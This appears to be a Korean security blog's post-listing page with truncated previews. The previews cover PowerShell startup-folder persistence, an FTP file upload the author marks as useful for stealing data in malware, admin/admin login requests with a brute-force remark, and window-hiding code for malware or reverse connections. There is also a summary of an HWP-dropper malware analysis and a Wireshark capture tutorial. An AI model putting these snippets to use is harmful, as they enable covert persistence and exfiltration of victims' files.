목록Workspace (11)
-
$SourceFileLocation = $env:SystemRoot + '\System32\WindowsPowerShell\v1.0\powershell.exe' $SourceCommand = @' -Command "$wsh = New-Object -ComObject Wscript.Shell; $wsh.Popup('you hacked by me');" '@ # $ShortcutLocation = 'C:\Users\miny7\Desktop\powershell_test.lnk' $ShortcutLocation = $env:APPDATA + '\Microsoft\Windows\Start Menu\Programs\Startup\powershell.exe.lnk' $WScriptShell = New-Object -..
$Body = @{ id = 'admin' pw = 'admin' } $LoginResponse = Invoke-WebRequest 'http://YOURDOMAIN/login.php' -SessionVariable 'Session' -Body $Body -Method 'GET' $ProfileResponse = Invoke-WebRequest 'http://YOURDOMAIN/main.php' -WebSession $Session $ProfileResponse 나중에 심심하면 Brute Force도 괜찮을듯?
$File = "\filepath\file" $ftp = "ftp://[id]:[password]@[host]/path/path/file" $webclient = New-Object -TypeName System.Net.WebClient $uri = New-Object -TypeName System.Uri -ArgumentList $ftp $webclient.UploadFile($uri, $File) malware 정보 탈취시 유용

# setting wallpaper function function Set-WallPaper { param ( [parameter(Mandatory=$True)] # Provide path to image [string]$Image, # Provide wallpaper style that you would like applied [parameter(Mandatory=$False)] [ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')] [string]$Style ) $WallpaperStyle = Switch ($Style) { "Fill" {"10"} "Fit" {"6"} "Stretch" {"2"} "Tile" {"0"} "Center" ..
# hide window $t = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);' add-type -name win -member $t -namespace native [native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0) # your code 백그라운드로 돌아야 할 때

powershell task scheduler documentation : https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/new-scheduledtasktrigger?view=win10-ps New-ScheduledTaskTrigger (scheduledtasks) The New-ScheduledTaskTrigger cmdlet creates and returns a new scheduled task trigger object. You can use a time-based trigger or an event-based trigger to start a task. Time-based triggers include starting a t..
int main() { HWND hWnd = GetForegroundWindow(); ShowWindow(hWnd, SW_HIDE); // program code } malware나 reverse connection에서 foreground로 돌아가면 곤란한 경우 위 두줄 추가

요약 - postscript 문법 : https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/PLRM.pdf - 분석에 사용한 도구 : www.nurilab.com/products/hwpscan2 누리랩 - HwpScan2 아래아한글 취약점 점검 도구 www.nurilab.com - SHA256 : 72fd996d651baaad444ac7664b39f66e1eb030a924fe3544ff7c7d80dff768ea - HWP 파일/Dropper : EPS 파일이 삽입되어있으며 한글 파일 열람 시 고스트스크립트 취약점에 의해 Base64로 인코딩된 다운로더와 이를 복호화하고 PowerShell 인자로 전달하는 VBS를 드랍한다. - Au..

일을 하다가 가상 서버에서 "일정 시간마다 네트워크 로그를 수집" 하는 환경을 구성해야 했던 때가 있었다. Wireshark 솔직히 실시간으로 패킷 캡처하고 잠깐 프로토콜 분석하는 용도 외에는 잘 사용하지 않아서 조금 해맸다. 1. Wireshark 실행후 상단의 Capture > Option 2. 가운데 Output 탭 이동 3. Create a new file automatically 체크 후 아래 옵션 선택(패킷 개수, 크기, 시간 등등 설정 가능) 지금은 패킷 20개마다 파일 저장으로 설정 해보겠다. 4. Capture to a permanent file의 Browse를 눌러 저장될 경로 선택 -> 임시파일 이름 설정(여기서는 test.pcap) 5. start하고 기다리기 6. 대상 폴더에 NN..